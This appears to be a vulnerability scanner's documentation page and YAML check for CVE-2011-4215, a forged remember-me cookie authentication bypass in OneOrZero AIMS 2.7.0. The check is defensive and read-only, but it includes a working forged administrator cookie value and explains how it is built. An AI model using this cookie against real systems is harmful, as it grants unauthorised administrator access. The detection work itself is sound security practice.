OneOrZero — 1 vulnerability check

noctis ships 1 vulnerability check for OneOrZero, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

OneOrZero AIMS 2.7.0 forged remember-me cookie authentication bypass

CVECVE-2011-4215
Severityhigh · CVSS 7.5
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/oneorzero/CVE-2011-4215.yaml

OneOrZero AIMS 2.7.0 trusts the oozimsrememberme cookie, which is only a compressed, base64-encoded serialized username, so anyone can forge it for the administrator account and be treated as logged in without a password.

Under /ooz, the web root and the usual install paths, this check first requires the "Powered by OneOrZero" footer on index.php, then requests index.php without a cookie and with a random invalid oozimsrememberme value as controls, and finally with the forged administrator value. The bypass is reported when only the forged request is redirected to the ?controller=launch page. Only GET requests are sent and nothing is modified on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{adir}}/index.php
  3. HTTP(S) request GET {{adir}}/index.php
  4. HTTP(S) request GET {{adir}}/index.php
  5. HTTP(S) request GET {{adir}}/index.php
  6. Parses / computes the next value with a Rhai script
  7. Checks res.ok for ^true$ → finding QoD 75: OneOrZero AIMS forged remember-me cookie authentication bypass (CVE-2011-4215)

References:

Feed source — tests/vulnerabilities/oneorzero/CVE-2011-4215.yaml
# OneOrZero AIMS 2.7.0 — forged "remember me" cookie logs in as administrator (CVE-2011-4215)
#
# The oozimsrememberme cookie of OneOrZero AIMS carries a base64 zlib-compressed PHP
# serialized username (here 's:13:"administrator";AIMS') and is trusted without any
# secret, so a request that sends it is treated as a logged-in administrator and the
# application redirects to its launch page ("Location: ?controller=launch").
#
# Detection (QoD 75), per candidate dir (/ooz, web root, /aims, /oneorzero):
#   1. index.php shows the product footer "Powered by OneOrZero".
#   2. index.php without a cookie, and with a malformed oozimsrememberme cookie of the
#      same shape, does NOT redirect to the launch controller (control).
#   3. index.php with the forged administrator cookie redirects to ?controller=launch.
# Read-only: only GET requests are sent; no session is used beyond the redirect check.
#
# Better than the source NASL: it fires on the redirect alone; here the same request
# without the forged value must not redirect, ruling out sites that always redirect.
# CVSS: NVD carries only a CVSS v2 score (7.5) for this CVE.
#
# Source: OpenVAS/Greenbone NVT 2011/gb_OneOrZero_50107.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103304, GPL-2.0-only). The SQL injection half of the
# advisory is not covered by this feed.
uid: 19a4f7b1-26ac-4d6e-9861-a137115af17a
name: "OneOrZero AIMS 2.7.0 forged remember-me cookie authentication bypass (CVE-2011-4215)"
description: |
  OneOrZero AIMS 2.7.0 trusts the oozimsrememberme cookie, which is only a compressed,
  base64-encoded serialized username, so anyone can forge it for the administrator
  account and be treated as logged in without a password.

  Under /ooz, the web root and the usual install paths, this check first requires the
  "Powered by OneOrZero" footer on index.php, then requests index.php without a cookie
  and with a random invalid oozimsrememberme value as controls, and finally with the
  forged administrator value. The bypass is reported when only the forged request is
  redirected to the ?controller=launch page. Only GET requests are sent and nothing is
  modified on the server.
cves: [CVE-2011-4215]
cvss: 7.5  # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: auth-bypass
confidence_base: 0.30
tags: [oneorzero, aims, php, auth-bypass, cookie]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2011-4215"

steps:
  - id: gen
    action: script
    code: |
      #{ bad: rand_hex(16) }
    store_as: g

  # A loop: step runs together with every following non-loop step once per directory,
  # so the init steps below reset all stored results at the start of each iteration.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: null}
    loop:
      over: ["/ooz", "", "/aims", "/oneorzero"]
      var: adir

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, headers: {}}

  - id: init-bad
    action: set_var
    var_name: badc
    var_value: {status: 0, headers: {}}

  - id: init-forged
    action: set_var
    var_name: forged
    var_value: {status: 0, headers: {}}

  - id: page
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{adir}}/index.php"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: page

  - id: control-nocookie
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{adir}}/index.php"
    condition: 'page.status == 200 && type_of(page.body) == "string" && stridx(page.body, "Powered by OneOrZero") >= 0'
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: ctl

  - id: control-badcookie
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{adir}}/index.php"
    condition: 'ctl.status > 0'
    headers:
      Cookie: "oozimsrememberme={{g.bad}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: badc

  - id: forged-cookie
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{adir}}/index.php"
    condition: 'badc.status > 0'
    headers:
      Cookie: "oozimsrememberme=eJwrtjI0tlJKTMnNzMssLilKLMkvUrJ29PQNBgBsjwh2"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: forged

  - id: check
    action: script
    code: |
      let loc = |r| if "location" in r.headers { r.headers["location"] } else { "" };
      let tgt = "controller=launch";
      let ok = forged.status >= 300 && forged.status < 400
        && stridx(loc.call(forged), tgt) >= 0
        && stridx(loc.call(ctl), tgt) < 0
        && stridx(loc.call(badc), tgt) < 0;
      #{ ok: ok }
    store_as: res

  - id: report
    action: match
    source: res.ok
    pattern: "^true$"
    condition: "res.ok"
    on_match:
      finding:
        title: "OneOrZero AIMS forged remember-me cookie authentication bypass (CVE-2011-4215)"
        description: "index.php of OneOrZero AIMS redirected to its launch page when sent a forged oozimsrememberme cookie for the administrator account, but not without a cookie or with an invalid one: the cookie is trusted without any secret, so an unauthenticated attacker can be treated as a logged-in administrator."
        remediation: "Upgrade OneOrZero AIMS to a release that no longer trusts the remember-me cookie value, or remove the application from untrusted networks."
        confidence_delta: 0.45
        qod: 75
        evidence: "{{adir}}/index.php: no cookie and an invalid oozimsrememberme value are not redirected to ?controller=launch, the forged administrator cookie is"
      stop: true

View these feeds on GitHub